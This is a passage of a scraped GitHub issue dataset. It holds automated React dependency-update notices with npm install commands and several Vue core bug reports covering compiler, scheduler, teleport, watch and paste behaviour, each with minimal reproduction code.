*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:30+00:00,2025-07-19 02:19:36+00:00,1,nan,1.1459,update zod from to breaking change warning a major version update is available for zod current version latest version package information description typescript first schema declaration and validation library with static type inference homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161540,Update react-dom from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:29+00:00,2025-07-19 02:19:56+00:00,1,nan,1.1461,update react dom from experimental beb fd to breaking change warning a major version update is available for react dom current version experimental beb fd latest version package information description react package for working with the dom homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161524,Update react from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:29+00:00,2025-07-19 02:19:58+00:00,1,nan,1.1462,update react from experimental beb fd to breaking change warning a major version update is available for react current version experimental beb fd latest version package information description react is a javascript library for building user interfaces homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161504,Update pretty-format from ^24 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **pretty-format**.

### Current Version
- **^24**

### Latest Version
- **30.0.2**

### Package Information
- **Description:** Stringify any JavaScript value.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install pretty-format@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:28+00:00,2025-07-19 02:20:00+00:00,1,nan,1.1462,update pretty format from to breaking change warning a major version update is available for pretty format current version latest version package information description stringify any javascript value recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.8481
facebook/react,3241161487,Update jest-environment-jsdom from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest-environment-jsdom**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-environment-jsdom@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:28+00:00,2025-07-19 02:20:01+00:00,1,nan,1.1462,update jest environment jsdom from to breaking change warning a major version update is available for jest environment jsdom current version latest version package information recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161461,Update jest from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:27+00:00,2025-07-19 02:20:03+00:00,1,nan,1.1462,update jest from to breaking change warning a major version update is available for jest current version latest version package information description delightful javascript testing homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6369
facebook/react,3241161439,Update eslint from ^8.57.1 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^8.57.1**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:27+00:00,2025-07-19 02:20:05+00:00,1,nan,1.1463,update eslint from to breaking change warning a major version update is available for eslint current version latest version package information description an ast based pattern checker for javascript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161409,Update babel-jest from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **babel-jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Jest plugin to use babel for transformation.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:26+00:00,2025-07-19 02:20:07+00:00,1,nan,1.1463,update babel jest from to breaking change warning a major version update is available for babel jest current version latest version package information description jest plugin to use babel for transformation recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161336,Update @types/node from ^18.7.18 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^18.7.18**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:24+00:00,2025-07-19 02:20:09+00:00,1,nan,1.1464,update types node from to breaking change warning a major version update is available for types node current version latest version package information description typescript definitions for node homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161300,Update @types/jest from ^29.0.3 to 30.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.0**

### Package Information
- **Description:** TypeScript definitions for jest
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/jest@30.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:23+00:00,2025-07-19 02:20:11+00:00,1,nan,1.1464,update types jest from to breaking change warning a major version update is available for types jest current version latest version package information description typescript definitions for jest homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
vuejs/core,4638130729,Trust downgraded,"### Vue version

3.5.36 / 3.5.37

### Link to minimal reproduction

N/A

### Steps to reproduce

```
[ERR_PNPM_TRUST_DOWNGRADE] High-risk trust downgrade for ""vue@3.5.37"" (possible package takeover)
```

<img width=""553"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/45332e9a-0d23-44c9-bdd5-37c6298e6ea8"" />

3.5.36 and 3.5.37 versions are no longer with provenance.

### What is expected?

With provenance

### What is actually happening?

No provenance.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-06-11 07:16:40+00:00,2026-06-11 07:43:29+00:00,3,nan,0.0186,trust downgraded vue version link to n a and versions are no longer with provenance what is expected with provenance what is actually happening no provenance system info any additional comments no response,others,-0.3182
vuejs/core,4636995181,vue/shared version is wrong,"### Vue version

2.6.10

### Link to minimal reproduction

1

### Steps to reproduce

when npm install,
npm ERR! code ETARGET
npm ERR! notarget No matching version found for @vue/shared@3.5.36.
npm ERR! notarget In most cases you or one of your dependencies are requesting
npm ERR! notarget a package version that doesn't exist.

### What is expected?

why vue/shared@3.5.36?  only 3.5.35...

### What is actually happening?

vue/shared@3.5.36

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-06-11 03:37:39+00:00,2026-06-11 05:31:02+00:00,13,nan,0.0787,vue shared version is wrong vue version link to when npm install npm err code etarget npm err notarget no matching version found for vue shared npm err notarget in most cases you or one of your dependencies are requesting npm err notarget a package version that doesn t exist what is expected why vue shared only what is actually happening vue shared system info any additional comments no response,others,0.2732
vuejs/core,4597897761,compiler-sfc: Reactive Props Destructure rewrites local references to `var` declaration,"### Vue version

3.6.0-beta.14

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1PwzAM/StRLtuk0YI2cRjdEKAd4AATcIyEutYtGWkSJWmZVPW/46TsQ3zeYr9n+9kvLb3SOmpqoDOa2Mxw7YgFV+sFk7zSyjhyoypNCqMqMohiH3j64ILJJO4LkIqBg0qL1AFGhCShKMZ3Eh8BdEydzZQseBltrJI4tPV0RjPkcwHmQTuupGV0RgLisVQI9X4Xcs7UMN7ls1fI3n7Ib+zW5xhdGbBgGmB0j7nUlOB6ePl0D1t878FK5bVA9h/gI1glaq+xp13XMkfZR7yg9jacjsvy2S63DqTdLeWFemYX+IziKf2pflv9IHcSTUMdkx1ecWfDV9eISGU5xzpsc3CwJQYK0vUmhpmMon9ohPVgoRSZY14ZXnKZCkaROyc5FFzCyihtkyAIeZczYp3BvVB+txiO9l3WqcESHJP0eI8Vtcz8UoRL7oajfq/P5Rqs2E3G2/KCQx5khSWJ7xg1qagBGchDANN9n3/+Xs6bRdsGSV2XxD78/g9fGjDeFbzgJDqPTk/W4NLobEq7D4b3Bc4=

### Steps to reproduce

For following `<script setup>`:

```ts
const { foo = ""a"" } = defineProps<{ foo?: string; }>();
const bar = ref<string>();
function init() {
  {
    var foo = ""b"";    // <- (1)
  }
  bar.value = foo;    // <- (2)
}
init();
```


### What is expected?

The  `foo` at `(2)` is referencing `var` declaration at `(1)`, although out of `(1)`'s definition lexical scope, since it is a `var`-declaration which  could be accessible in the whole `init` function, that `(2)` should not be rewrite to `__props.foo`.

### What is actually happening?

`compiler-sfc` rewrite `foo` at `(2)` to `__props.foo`:

```js
const bar = ref();
function init() {
  {
    var foo = ""b"";
  }
  bar.value = __props.foo;
}
init();
```

and this behavior might be a little bit surprising (and differs from Language Tools' hint).

### System Info

<details>

```shell
System:... [TRUNCATED]",,2026-06-05 15:00:43+00:00,2026-06-06 07:19:36+00:00,0,nan,0.6798,compiler sfc reactive props destructure rewrites local references to declaration vue version beta link to for following what is expected the at is referencing declaration at although out of s definition lexical scope since it is a declaration which could be accessible in the whole function that should not be rewrite to what is actually happening rewrite at to and this behavior might be a little bit surprising and differs from language tools hint system info shell system truncated,others,0.2075
vuejs/core,4593844468,"Component VNode props named ""style"" are incorrectly normalized by normalizeStyle","### Vue version

3.5.35

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1v2zAM/SuELsmAzj5sJ8MNkBY9bIet2HarejASOlUnS4JEpxkM//dRVJO1WD9OEvn4qPdETmodQrUfUTWqTZtoAoHt3O5cK0paQUIaw0o7MwQfCS79EKCPfoBFVecgUxcneIKIPcyPFQXaeJcIEv2xCOcZX95oB1xqcY+2gcV6AfPZ89TF/6nLkrr9oF1bF6EsiwPCIdiOkCOAVgQ28hpbkJNd1Ay29ZNKdcb2WFlvdtV98o7dT5mv1YYbGIvxeyDDyrVqQJCMddb6h6+SoziiKBTOHW5+v5C/T4ec0+o6YsK4ZyknjLq4Qyrw1c9veOD7CRz8dszC3wB/YPJ2zBpL2cXotiz7SZ2o/SKDMW73K10dCF06mspCc2X5Z614WPnvXrP+T+6n6rPwtJv5F4878M76bLE3Dh8bL6WrcXcYDa2JYmqg72xiPTOPtyxMiD4kXpjCvM5RKzyZKSs7bkaiyPZgvrll+mrJDUoLb7F66KJbSqdKaO8sz2jl5Js1sP/Y+8g+DNew2PKuVqtpAknNc1tbU4i1MJ9v2PwXX+ghOQ==

### Steps to reproduce

Comp.vue
```vue
<script lang=""ts"" setup>
defineOptions({
  inheritAttrs: false
})
const props = defineProps<{
  style: { level: string }[]
}>()

console.warn(props.style)
</script>

<template>
  <ul>
    <li v-for=""item in style"">{{ item }}</li>
  </ul>
</template>
```

App.vue
```vue
<script lang=""ts"" setup>
import Comp from './Comp.vue'
import { ref } from 'vue'
const style = ref([
  { level: 'A' },
  { level: 'B' },
  { level: 'C' },
])
</script>

<template>
  <Comp :style=""style"" />
</template>
```

### What is expected?

`props.style` should be the original array `[{ level: 'A' }, { level: 'B' }, { level: 'C' }]`, since style is a declared component prop, not a CSS style attribute.

### What is actually happening?

Vue applies `normalizeStyle()` to the style prop of all VNodes in `_createVNode`: https://github.... [TRUNCATED]",,2026-06-05 03:13:48+00:00,2026-06-05 06:09:05+00:00,2,nan,0.1217,component vnode props named style are incorrectly normalized by normalizestyle vue version link to comp vue app vue what is expected should be the original array since style is a declared component prop not a css style attribute what is actually happening vue applies to the style prop of all vnodes in truncated,others,0.3182
vuejs/core,4587768192,compiler-core: :key expression not prefixed when element has v-memo without v-for (ReferenceError at runtime),"### Version
3.5.35

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqFUk1P3DAQ/StTX6CCJJW2XKKA2iIObaUtaiv1UFdVNpldTBLb8kdYFOW/M44h5ADLzZ73/OaN3wzss9Zp75HlrLCVEdqBRef1BZei08o4GMDgFkbYGtXBEVGPZujyRrT1I5Bm0y1oEaFS0jpo4Dw8Pv7wnssii/IkTBeHnW5Lh3QDKKJO7nVNpaTB+3POGs4gi/DGO6ckfKpaUTUBOjnh7GLjO11kESNekS002SlzljxsxS69tUrSdEOQ4qxSnRYtmh/aCfLIWQ4TErCybdXdt6nmjMfTp3p1g1XzQv3W7kONs2uDFk2PnM2YK80OXYSvfq1xT+cZ7FTtW2IfAH+iVa0PHiPti5c12V7wJrdfpyCE3P22V3uH0j4NFYwG5jjxOaNYLg+M/mx3lX6c3nE50i/Omb6wHzVuhcRro7Q9HiCG9x3vc1j7boMGxjdSf5cksFYyuVOmoQmgL40opYMkiXgteuiTDjtFmf+d9f/RYuRxR+YarcOwsADjWGT0fOr62OnPK10CdqhVn2yErKk8ADXNl01e6xq1FwtJH/m/RxPCoX9cpWfp6oyNDzvHKSk=)







### Steps to reproduce
Open the playground link; it throws on load.
The trigger is v-memo + dynamic :key on a plain element without v-for, where the key references a prop

### What is expected?
:key expression is prefixed like any other (__props.updateKey / _ctx.updateKey), as in ≤3.5.12

### What is actually happening?
transformExpression skips the :key expression whenever the element has v-memo (the !(memo && arg.content === 'key') check added in 99009ee / PR #12014), assuming transformFor processed it eagerly — but that only happens when v-for is also present.

Plain elements fall through → unprefixed key → ReferenceError at runtime

---
This happened after vue version update.

We hit this in a component library's scroll-container component. It renders custom scrollbars, so its reactive scroll state changes on ev... [TRUNCATED]","scope: compiler,has workaround,:hammer: p3-minor-bug",2026-06-04 10:06:19+00:00,2026-06-11 01:56:56+00:00,0,"scope: compiler,has workaround,:hammer: p3-minor-bug",6.6602,compiler core key expression not prefixed when element has v memo without v for referenceerror at runtime version play vuejs org open the playground link it throws on load the trigger is v memo dynamic key on a plain element without v for where the key references a prop what is expected key expression is prefixed like any other props updatekey ctx updatekey as in what is actually happening transformexpression skips the key expression whenever the element has v memo the memo arg content key check added in ee pr assuming transformfor processed it eagerly but that only happens when v for is also present plain elements fall through unprefixed key referenceerror at runtime this happened after vue version update we hit this in a component library s scroll container component it renders custom scrollbars so its reactive scroll state changes on ev truncated,bug,0.6187
vuejs/core,4563095296,[minor] scheduler performance issue,"### Vue version

3.6.0-beta.13

### Link to minimal reproduction

https://github.com/vuejs/core/blob/minor/packages/runtime-core/src/scheduler.ts

### Steps to reproduce

1. `jobs` will never be truncated after flush, maybe for performance reason.
2. But `queueJobWorker` may grow `jobs.length` every tick via splice.
3. These two combined can cause `jobs.length` to grow indefinitely.
4. The performance of Array.splice is negatively correlated with the length of the array.

### What is expected?

The length of `jobs` will not grow indefinitely.

### What is actually happening?

The length of `jobs` will grow indefinitely.

### System Info

```shell

```

### Any additional comments?

This issue is found by Codex while I'm working on https://github.com/vue-mini/vue-mini/commit/ab58d3d7ef5a508a0e67c8ce7d71caef001fb87c","version: minor,:exclamation: p4-important",2026-06-01 12:30:40+00:00,2026-06-01 23:48:58+00:00,0,"version: minor,:exclamation: p4-important",0.471,minor scheduler performance issue vue version beta link to will never be truncated after flush maybe for performance reason but may grow every tick via splice these two combined can cause to grow indefinitely the performance of array splice is negatively correlated with the length of the array what is expected the length of will not grow indefinitely what is actually happening the length of will grow indefinitely system info any additional comments this issue is found by codex while i m working on,bug,0.0
vuejs/core,4559827787,"watch([], cb, { immediate: true }) // cb not runing as expected","### Vue version

3.5.35

### Link to minimal reproduction

-

### Steps to reproduce

``` js
import { expect, it, vi } from 'vitest'
import { watch } from 'vue' // vue@2.7
import { watch as watch3 } from 'vue3' // ""vue3"": ""npm:vue@^3.5.35""

it('watch([], cb, { immediate: true })', async () => {
  const cb = vi.fn()
  watch([], cb, { immediate: true })
  const cb2 = vi.fn()
  watch3([], cb2, { immediate: true })

  expect(cb2).toHaveBeenCalledTimes(1) // but get 0
  expect(cb).toHaveBeenCalledTimes(1) // but get 0
})
```
-------------
A: 为什么要 watch 空数组 
A: Why watch an empty array?

Q: 封装公共函数时，可以传入不定个数的参数, 比如：
Q: When encapsulating a public function, you can pass a variable number of arguments, for example:

``` ts
function foo<T extends WatchSource[]>(...args: T) {
  return function wrapper(...args: T) {
     watch(args, cb, { immediate: true })
     ....
  }
}
```
一般情况下传参，一切正常；但未传参时，cb不执行，不符合语义和直觉
Under normal circumstances with arguments passed, everything works fine; but when no arguments are passed, the callback doesn't execute, which goes against intuition.


### What is expected?

  expect(cb2).toHaveBeenCalledTimes(1)
  expect(cb).toHaveBeenCalledTimes(1)

### What is actually happening?

0

### System Info

```shell

```

### Any additional comments?

_No response_",🔩 p2-edge-case,2026-06-01 02:10:58+00:00,2026-06-11 01:56:18+00:00,0,🔩 p2-edge-case,9.9898,watch cb immediate true cb not runing as expected vue version link to a watch a why watch an empty array q q when encapsulating a public function you can pass a variable number of arguments for example cb under normal circumstances with arguments passed everything works fine but when no arguments are passed the callback doesn t execute which goes against intuition what is expected expect cb tohavebeencalledtimes expect cb tohavebeencalledtimes what is actually happening system info any additional comments no response,others,-0.8689
vuejs/core,4556308035,v-show on enter animation would be different from v-if or v-for in TransitionGroup,"### Version
3.5.35

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNrNV39v2zYQ/SqEMKA2Zst2E+8PzzHQAcXQAeuKLcBWVMEqS5TNhKYEknLsGv7ue0fql+sky4ZuKJDY0rvj8e747ng+BK+KItyWPJgFc5NoUVhmuC0Lto2LXC8iJTb4tuyN5ZvfdVwUXLNM5xv2Ihx1MDLxIlLzkbeBdXMICxlbjmfG5t31IxKPOvK5sXvJmUnygqcLGKFX4MEgsABVJlbhrckVnDyQtShI8k0hJNe/FFbkykTBjDkJyWIp8/ufHGZ1yQc1nqx5cvcAfmt2hEXBO80N11seBY3MxnrFrRe//u0t3+G5EW7ytJTQfkL4Kze5LMlHr/ZDqVK43dFz3r5xSRZqdW1e7yxXpg6KHCXNY6SOyAZl8TmndWApz4Ti73ReGHasTozO6PtIIaHGssKJrrqKPZdCoVK+a9Jp9wWfsbflZsl15TNWxKW0MzZ2njlUpP9sxbEfqRO6nBEmFVuWyNiYqygQEEWBwx+QDIVSlNJKDo2ikVth6YQWpMcOBx91KFJ2PM5HRW1xBJN+1+rpCXZGKvTGSH+Z65TrGZsUO4aDht2ljJM7JJmxe5HaNUTjcbFzwJqL1RpJmNZAKgz22M9YJrlHYilWakj2zYwlXFmuHX5bGiuy/RBHB3bARkdW5EYQwWZMc3gsthww+FKXUUWbTqH+PXs0zwaMaqy0HLnq8OekIZx0gqoFeHa5EMAuGOp9CMPwldbxvnfZvwk3cdHrkXjARJ9dLXwiNfzQCjsTkQT7lk0G8EqWYJJ7cwXQB2m8ecMlT+DauNpi3Ehy3xCAf4CJlwN2MWCXNw3r64W1a5ObfiPLhEROeUrBkIE6/l7vzE8XXugcDP0yH1Or2KjWO1baQiWyTLlx6h6D7ygKfNL/4x10/XJxna9WYOLPXJUsyzWza45vaiBoHexax2gcLvz5CNpulVCIwdUkqsF1wGWOdsdm1FmGbn8IJoRksTQtNCZIpHj66IpsMv4IZDtEX+MSaHMEQKmhYy8ZL7mEnVyfrlpY7/dWGLEUUtg9yzMWo3p285Fb1ES4HZp1fu/yi0bUCamNqPDFjNPhxhOQ0qCptmDRWgC5Yq4+6hI/bxn3vhrapmKbnZiKN5SALE6pczRNxe3q/euGz66umEufyxWeFugipNs0l9b0SY+pA6aD9OXSRvujzsviqwlZZF8w4Ody2KWgQ+S6GOCPJxiIShSpCp4cuuN7j7cxPkr/muZO+4To3xyAHR8me8P1h9neLF3gqiH/6JbpELx7q5wf/72w64pgp9x/FhskzxBoXpwzoT2O4YosnZ42s/EKLzgiPD9NmIoOPuKeQAOnUaFPzroIXMo+q49Ow6u7XXNSAhexSz6Zqc7AYw2VGl51WeXD+O9L6P9I3Mml8wVT8+QEs37pL6kM48TQiE+4ZSffuaEE... [TRUNCATED]","scope: transition,:hammer: p3-minor-bug",2026-05-31 02:11:13+00:00,2026-06-11 01:59:02+00:00,0,"scope: transition,:hammer: p3-minor-bug",10.9915,v show on enter animation would be different from v if or v for in transitiongroup version play vuejs org truncated,bug,0.34
vuejs/core,4506239868,Teleport + Suspense: unmount crashes on pending teleport with component child (regression since 3.5.31),"### Vue version

3.5.34

### Link to minimal reproduction

https://github.com/pont1s/vue-teleport-unmount-crashes

### Steps to reproduce

#### Option 1 — Browser (primary)

```bash
pnpm dev
```

1. Open the browser DevTools console.
2. Click **""Unmount Suspense""**.
3. Observe `TypeError: Cannot read properties of null (reading 'type')` in the console

#### Option 2 — Tests (additional)

```bash
pnpm test
```

The repo also contains three Vitest tests in `tests/teleport-unmount.test.js`

### What is expected?

When a <Teleport> inside a <Suspense> is unmounted before its mount can run, Vue should remove it cleanly. This worked correctly in 3.5.30.

### What is actually happening?

In 3.5.31..3.5.34, unmounting such a teleport throws:

```
TypeError: Cannot read properties of null (reading 'type')
    at unmountComponent       (runtime-core.cjs.js)
    at unmount
    at Object.remove          (TeleportImpl.remove)
    at unmount
    at unmountChildren
    at unmount
    at unmountComponent
    at unmount
    at Object.resolve         (Suspense)
```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M1
    Memory: 102.19 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.15.0 - /Users/user/.local/state/fnm_multishells/14407_1779493498078/bin/node
    npm: 11.12.1 - /Users/user/.local/state/fnm_multishells/14407_1779493498078/bin/npm
    pnpm: 11.1.3 - /Users/user/.local/state/fnm_multishells/14407_1779493498078/bin/pnpm
  Browsers:
  ... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2026-05-23 00:25:09+00:00,2026-05-27 06:30:37+00:00,0,"scope: teleport,:hammer: p3-minor-bug",4.2538,teleport suspense unmount crashes on pending teleport with component child regression since vue version link to option browser primary open the browser devtools console click unmount suspense observe in the console option tests additional the repo also contains three vitest tests in what is expected when a inside a is unmounted before its mount can run vue should remove it cleanly this worked correctly in what is actually happening in unmounting such a teleport throws system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node users user local state fnm multishells bin node npm users user local state fnm multishells bin npm pnpm users user local state fnm multishells bin pnpm browsers truncated,bug,0.0
vuejs/core,4495799530,Passing slots as a prop breaks slot rendering,"### Vue version

3.5.34

### Link to minimal reproduction

[Vuejs Playground Example](https://play.vuejs.org/#eNrtWm1z0zgQ/iu6wEzSmzZpKffFF3rH63A30GMo3wgDiq0korbkseTQXMh/v5Vky5Ljpg4t1zLkS4ml3dWu9Oyu/Jhl53Ga9uc56QSdoQgzmkokiMzTkxGjScoziZYoI5N9+INDSecErdAk4wnqglL3dyv1ik5IuAhj8opPpyQrZPqD2rhaytE6i7l8gzPCpFWohhpkny0YTmjYoOLNNGg+Fm8ynooGTW+m1ByxkDMhEQwqGXE2418YeqS2oieznOyBjJEQMPOS4IhkSrAmUgqxPBmTTOhZs4295YghNNOKp3o2QEf7amzMo0U58kCPTDiXldQxjK2M8UnOwBhnKMMs4gn9lzzDEvf2kDZeLNp3FwEPXmM5609izrOe/ml0QelXdHR4qAxXqpUvWyq6LrdSXXnx5CzhOZN668twvKPoz3GcE7A8wbEgemmA7TuaEJ7LHqg8OjFal+mpE9Jqeith9eHAwB+ADw+SJGmMJYEnhIYRnaMwxkI8GnUSTNmog+YHdAJPnvFRR4vXFHiqQhJ20kzbB3gc51JC0H+GMQ3PQcONHtRe8Cwk5ZZQNh0OjMImEx4gwMbb8hmpgTYW1nD9iz8CRpfLmtAfqPuSRqSLAtRVO9JdrZCZ1jm4tuxwUO2E99vdv3HMw/P69tlZAXYPUp27BzMeq6XMP44CqMwenJzihETaDzEcwLMz65ShBrv6tMeURTBc4NszDgZKuKB7JtlAclnkAlpVaFnbQdcImKkX0QCqhwQPQPVTsY9PzQi6vzTmV5/A/MD3ZuCht8FJldY1F7dx5Qmo34wjpkxcw5UX2sA3OzN02k0jKpvQFplW0w51RV9qxl160kvBMMByTjGAZMKzveFA9V4Pmn7X2yH050Ooh4DWQMXiIFVXm3ZI1QhFBR6xQBgp5XXInnINln2E4xipdQSiDIHfIWnArn/v+i7Y3WH0TmDUO+lbxmhxzHaLINaIqmsYYHaBIipgeAEmvlA502i+HeTuqu4O0S0R7br8FoIDSMPLLVPB8UnxHrkF3t1Q72DN9mdRW8DX1S5JL19slyTfOUmq3+Uvzxw8CrmICRIhT0kEI8WrqH5/T3A2pSxAh/1jkpQ8QV+9hJv5FEcRvBMDVeJMF6/cRmLMMzj5gzEHowmQLOkFEjymEboXhqGmAMwaVsK1ZF4+jaEijQI0icmFlSjS23fmqDQBrIKKDYLq7HckRMgmdNr/LDgDwk3rjDoqk2lMsn9KoiAoqQvgF+KYf/lbjynGQtNBWmdGwvOG8c/iQo2NOm8yIkg2J6OOnZMQJgH4q+nnZ6fkAn7byYRHeQzSGybfEti3XPloxJ7kLAK3HTnt7V+adINteCeeXwCwRBmUclQzLlp+1AGq7emG0Ct3j/sPtR... [TRUNCATED]",,2026-05-21 15:26:03+00:00,2026-05-26 08:05:21+00:00,2,nan,4.694,passing slots as a prop breaks slot rendering vue version link to vuejs playground example truncated,others,0.0
vuejs/core,4492986914,firefox invalid paste behavior,"### Vue version

3.5.34

### Link to minimal reproduction

https://play.vuejs.org/#eNqNk01v2zAMhv8KoXOTrGv3FaQFtqGH7bAN225VUTg266h1JEGi0wSG/3spOf4QWhQ9WQ/5ynwpUY34au18V6NYipXPnbIEHqm2UGW6vJCCvBSXUudGewJFuPVwAddSAzSgiiWcQnsy0vuEzhI6T+hDQh8T+pTQ54S+JHT6LuKN1KtF5569MrBPW2WETAArytZVtwywwawYwB1XMQF5lXnPTa9nccvtLW24e1WsFrR5g9BmnhDWdTnR87KvEaLT2mtTHAY4Gobd7M44/rMzj6B0d+JSwPIBD110rop4I72ZsYNAxWXTQKeCtuWKfbk+PRKz0ramaQSADhbDteOepEhTY9NxHxy/s9lz8WJadWoiPY7pLcXAcCS8Pl5aIhMnPJA8i3eqnN97o3lqmyCXIjdbqyp0vy0pnlUplhAzIZdVlXn8GWPkaozzE/dsMH94IX7v9yEmxR+HHt0OpRhylLkSuduQvvr3K3Y+JLemqCtWv5L8i95UdfDYyb7VumDbE110+2NrjSOly//+ak+ofd9UMBqU3SuQgp/u91daH+2ezc/jPqlb0T4BVlc0Gg==

### Steps to reproduce

copy any text and paste it into inputs

### What is expected?

valid dom

### What is actually happening?

invalid dom and content pasted between td nodes

### System Info

```shell
firefox 150, 151
```

### Any additional comments?

https://github.com/user-attachments/assets/0686f035-2b6c-4080-8f4b-921ab0fd62af",,2026-05-21 08:26:44+00:00,2026-05-21 08:39:14+00:00,2,nan,0.0087,firefox invalid paste behavior vue version link to copy any text and paste it into inputs what is expected valid dom what is actually happening invalid dom and content pasted between td nodes system info any additional comments,others,0.0
vuejs/core,4482876284,bug?: given DataCloneError when setting arguments that is reactive property referred using .value  to structuredClone(),"### Vue version

3.5.34

### Link to minimal reproduction

